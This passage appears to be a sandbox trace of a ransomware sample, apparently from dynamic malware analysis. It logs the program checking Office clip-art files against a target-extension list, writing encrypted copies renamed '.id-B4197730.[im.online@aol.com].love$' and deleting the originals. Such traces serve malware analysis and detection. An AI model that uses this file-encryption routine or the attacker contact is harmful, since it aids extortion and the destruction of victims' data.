(lpString1=".pdf", lpString2=".WMF") returned -1 [0230.281] lstrlenW (lpString=".xls") returned 4 [0230.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.281] lstrlenW (lpString=".xlsx") returned 5 [0230.281] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0230.281] lstrlenW (lpString=".ppt") returned 4 [0230.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0230.281] lstrlenW (lpString=".zip") returned 4 [0230.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.281] lstrlenW (lpString=".rar") returned 4 [0230.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.281] lstrlenW (lpString=".bz2") returned 4 [0230.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.281] lstrlenW (lpString=".7z") returned 3 [0230.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0230.282] lstrlenW (lpString=".dbf") returned 4 [0230.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0230.282] lstrlenW (lpString=".1cd") returned 4 [0230.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0230.282] lstrlenW (lpString=".jpg") returned 4 [0230.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0230.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0230.282] lstrlenW (lpString=".doc") returned 4 [0230.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.282] lstrlenW (lpString=".docx") returned 5 [0230.282] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0230.282] lstrlenW (lpString=".pdf") returned 4 [0230.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.282] lstrlenW (lpString=".xls") returned 4 [0230.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.282] lstrlenW (lpString=".xlsx") returned 5 [0230.282] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0230.282] lstrlenW (lpString=".ppt") returned 4 [0230.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0230.282] lstrlenW (lpString=".zip") returned 4 [0230.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.283] lstrlenW (lpString=".rar") returned 4 [0230.283] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.283] lstrlenW (lpString=".bz2") returned 4 [0230.283] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.283] lstrlenW (lpString=".7z") returned 3 [0230.283] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0230.283] lstrlenW (lpString=".dbf") returned 4 [0230.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0230.283] lstrlenW (lpString=".1cd") returned 4 [0230.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0230.283] lstrlenW (lpString=".jpg") returned 4 [0230.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.283] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0230.283] lstrlenW (lpString="BD07831_.WMF") returned 12 [0230.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0230.379] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=4066) returned 1 [0230.379] CloseHandle (hObject=0x478) returned 1 [0230.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x220 [0230.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0230.383] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.383] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0230.777] GetLastError () returned 0x0 [0230.777] ReadFile (in: hFile=0x478, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xfe2, lpOverlapped=0x0) returned 1 [0231.308] WriteFile (in: hFile=0x47c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xff0, lpOverlapped=0x0) returned 1 [0231.309] ReadFile (in: hFile=0x478, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.309] WriteFile (in: hFile=0x47c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.310] SetEndOfFile (hFile=0x47c) returned 1 [0231.436] CloseHandle (hObject=0x47c) returned 1 [0231.436] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.436] SetEndOfFile (hFile=0x478) returned 1 [0231.440] CloseHandle (hObject=0x478) returned 1 [0231.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0231.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0231.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0231.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0231.443] lstrlenW (lpString=".doc") returned 4 [0231.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.443] lstrlenW (lpString=".docx") returned 5 [0231.443] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0231.443] lstrlenW (lpString=".pdf") returned 4 [0231.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.443] lstrlenW (lpString=".xls") returned 4 [0231.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.443] lstrlenW (lpString=".xlsx") returned 5 [0231.443] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0231.443] lstrlenW (lpString=".ppt") returned 4 [0231.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0231.443] lstrlenW (lpString=".zip") returned 4 [0231.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.443] lstrlenW (lpString=".rar") returned 4 [0231.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.443] lstrlenW (lpString=".bz2") returned 4 [0231.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.444] lstrlenW (lpString=".7z") returned 3 [0231.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0231.444] lstrlenW (lpString=".dbf") returned 4 [0231.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0231.444] lstrlenW (lpString=".1cd") returned 4 [0231.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0231.444] lstrlenW (lpString=".jpg") returned 4 [0231.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0231.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0231.444] lstrlenW (lpString=".doc") returned 4 [0231.444] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.444] lstrlenW (lpString=".docx") returned 5 [0231.444] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0231.444] lstrlenW (lpString=".pdf") returned 4 [0231.444] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.444] lstrlenW (lpString=".xls") returned 4 [0231.444] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.444] lstrlenW (lpString=".xlsx") returned 5 [0231.444] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0231.444] lstrlenW (lpString=".ppt") returned 4 [0231.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0231.444] lstrlenW (lpString=".zip") returned 4 [0231.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.445] lstrlenW (lpString=".rar") returned 4 [0231.445] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.445] lstrlenW (lpString=".bz2") returned 4 [0231.445] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.445] lstrlenW (lpString=".7z") returned 3 [0231.445] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0231.445] lstrlenW (lpString=".dbf") returned 4 [0231.445] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0231.445] lstrlenW (lpString=".1cd") returned 4 [0231.445] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0231.445] lstrlenW (lpString=".jpg") returned 4 [0231.445] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.445] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0231.445] lstrlenW (lpString="BD09662_.WMF") returned 12 [0231.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0231.446] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=20554) returned 1 [0231.446] CloseHandle (hObject=0x478) returned 1 [0231.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x220 [0231.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0231.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0231.447] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.447] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0231.448] GetLastError () returned 0x0 [0231.448] ReadFile (in: hFile=0x478, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x504a, lpOverlapped=0x0) returned 1 [0231.470] WriteFile (in: hFile=0x47c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x5050, lpOverlapped=0x0) returned 1 [0231.471] ReadFile (in: hFile=0x478, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.471] WriteFile (in: hFile=0x47c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.472] SetEndOfFile (hFile=0x47c) returned 1 [0231.472] CloseHandle (hObject=0x47c) returned 1 [0231.472] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.472] SetEndOfFile (hFile=0x478) returned 1 [0231.476] CloseHandle (hObject=0x478) returned 1 [0231.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0231.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0231.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0231.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0231.477] lstrlenW (lpString=".doc") returned 4 [0231.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.477] lstrlenW (lpString=".docx") returned 5 [0231.477] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0231.477] lstrlenW (lpString=".pdf") returned 4 [0231.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.477] lstrlenW (lpString=".xls") returned 4 [0231.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.477] lstrlenW (lpString=".xlsx") returned 5 [0231.478] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0231.478] lstrlenW (lpString=".ppt") returned 4 [0231.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0231.478] lstrlenW (lpString=".zip") returned 4 [0231.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.478] lstrlenW (lpString=".rar") returned 4 [0231.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.478] lstrlenW (lpString=".bz2") returned 4 [0231.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.478] lstrlenW (lpString=".7z") returned 3 [0231.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0231.478] lstrlenW (lpString=".dbf") returned 4 [0231.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0231.478] lstrlenW (lpString=".1cd") returned 4 [0231.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0231.478] lstrlenW (lpString=".jpg") returned 4 [0231.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0231.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0231.478] lstrlenW (lpString=".doc") returned 4 [0231.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.478] lstrlenW (lpString=".docx") returned 5 [0231.479] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0231.479] lstrlenW (lpString=".pdf") returned 4 [0231.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.479] lstrlenW (lpString=".xls") returned 4 [0231.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.479] lstrlenW (lpString=".xlsx") returned 5 [0231.479] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0231.479] lstrlenW (lpString=".ppt") returned 4 [0231.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0231.479] lstrlenW (lpString=".zip") returned 4 [0231.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.479] lstrlenW (lpString=".rar") returned 4 [0231.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.479] lstrlenW (lpString=".bz2") returned 4 [0231.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.479] lstrlenW (lpString=".7z") returned 3 [0231.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0231.479] lstrlenW (lpString=".dbf") returned 4 [0231.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0231.479] lstrlenW (lpString=".1cd") returned 4 [0231.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0231.479] lstrlenW (lpString=".jpg") returned 4 [0231.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.480] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0231.480] lstrlenW (lpString="BD10890_.GIF") returned 12 [0231.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0231.482] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=13515) returned 1 [0231.483] CloseHandle (hObject=0x47c) returned 1 [0231.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 0x220 [0231.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0231.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0231.483] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.483] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0231.484] GetLastError () returned 0x0 [0231.484] ReadFile (in: hFile=0x47c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x34cb, lpOverlapped=0x0) returned 1 [0231.489] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x34d0, lpOverlapped=0x0) returned 1 [0231.490] ReadFile (in: hFile=0x47c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.490] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.491] SetEndOfFile (hFile=0x46c) returned 1 [0231.491] CloseHandle (hObject=0x46c) returned 1 [0231.491] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.491] SetEndOfFile (hFile=0x47c) returned 1 [0231.494] CloseHandle (hObject=0x47c) returned 1 [0231.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0231.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0231.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0231.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0231.495] lstrlenW (lpString=".doc") returned 4 [0231.495] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0231.495] lstrlenW (lpString=".docx") returned 5 [0231.495] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0231.495] lstrlenW (lpString=".pdf") returned 4 [0231.495] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0231.495] lstrlenW (lpString=".xls") returned 4 [0231.495] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0231.495] lstrlenW (lpString=".xlsx") returned 5 [0231.495] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0231.495] lstrlenW (lpString=".ppt") returned 4 [0231.495] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0231.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0231.496] lstrlenW (lpString=".zip") returned 4 [0231.496] lstrcmpiW 